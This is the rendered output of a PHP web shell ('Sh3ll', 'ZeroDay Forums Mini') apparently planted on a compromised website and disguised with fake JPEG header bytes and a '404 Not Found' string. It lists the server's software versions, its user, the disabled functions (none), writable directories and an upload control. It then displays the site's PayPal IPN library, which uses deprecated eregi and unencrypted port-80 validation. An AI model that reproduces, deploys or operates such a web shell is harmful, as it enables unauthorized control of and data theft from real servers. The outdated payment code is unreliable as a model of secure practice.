ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/lib/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/lib/payment/Paypal.php
<?php



/**

 * Paypal Class

 *

 * Integrate the Paypal payment gateway in your site using this easy

 * to use library. Just see the example code to know how you should

 * proceed. Btw, this library does not support the recurring payment

 * system. If you need that, drop me a note and I will send to you.

 *

 * @package		Payment Gateway

 * @category	Library

 * @author      Md Emran Hasan <phpfour@gmail.com>

 * @link        http://www.phpfour.com

 */



include_once ('PaymentGateway.php');



class Paypal extends PaymentGateway

{



    /**

	 * Initialize the Paypal gateway

	 *

	 * @param none

	 * @return void

	 */

	public function __construct()

	{

        parent::__construct();



        // Some default values of the class

		$this->gatewayUrl = 'https://www.paypal.com/cgi-bin/webscr';

		$this->ipnLogFile = 'paypal.ipn_results.log';



		// Populate $fields array with a few default

		$this->addField('rm', '2');           // Return method = POST

		$this->addField('cmd', '_xclick');

	}



    /**

     * Enables the test mode

     *

     * @param none

     * @return none

     */

    public function enableTestMode()

    {

        $this->testMode = TRUE;

        $this->gatewayUrl = 'https://www.sandbox.paypal.com/cgi-bin/webscr';

    }



    /**

	 * Validate the IPN notification

	 *

	 * @param none

	 * @return boolean

	 */

	public function validateIpn()

	{

		// parse the paypal URL

		$urlParsed = parse_url($this->gatewayUrl);



		// generate the post string from the _POST vars

		$postString = '';



		foreach ($_POST as $field=>$value)

		{

			$this->ipnData["$field"] = $value;

			$postString .= $field .'=' . urlencode(stripslashes($value)) . '&';

		}



		$postString .="cmd=_notify-validate"; // append ipn command



		// open the connection to paypal

		$fp = fsockopen($urlParsed[host], "80", $errNum, $errStr, 30);



		if(!$fp)

		{

			// Could not open the connection, log error if enabled

			$this->lastError = "fsockopen error no. $errNum: $errStr";

			$this->logResults(false);



			return false;

		}

		else

		{

			// Post the data back to paypal



			fputs($fp, "POST $urlParsed[path] HTTP/1.1\r\n");

			fputs($fp, "Host: $urlParsed[host]\r\n");

			fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");

			fputs($fp, "Content-length: " . strlen($postString) . "\r\n");

			fputs($fp, "Connection: close\r\n\r\n");

			fputs($fp, $postString . "\r\n\r\n");



			// loop through the response from the server and append to variable

			while(!feof($fp))

			{

				$this->ipnResponse .= fgets($fp, 1024);

			}



		 	fclose($fp); // close connection

		}



		if (eregi("VERIFIED", $this->ipnResponse))

		{

		 	// Valid IPN transaction.

		 	$this->logResults(true);

		 	return true;

		}

		else

		{

		 	// Invalid IPN transaction.  Check the log for details.

			$this->lastError = "IPN Validation Failed . $urlParsed[path] : $urlParsed[host]";

			$this->logResults(false);

			return false;

		}

	}

}


ZeroDay Forums Mini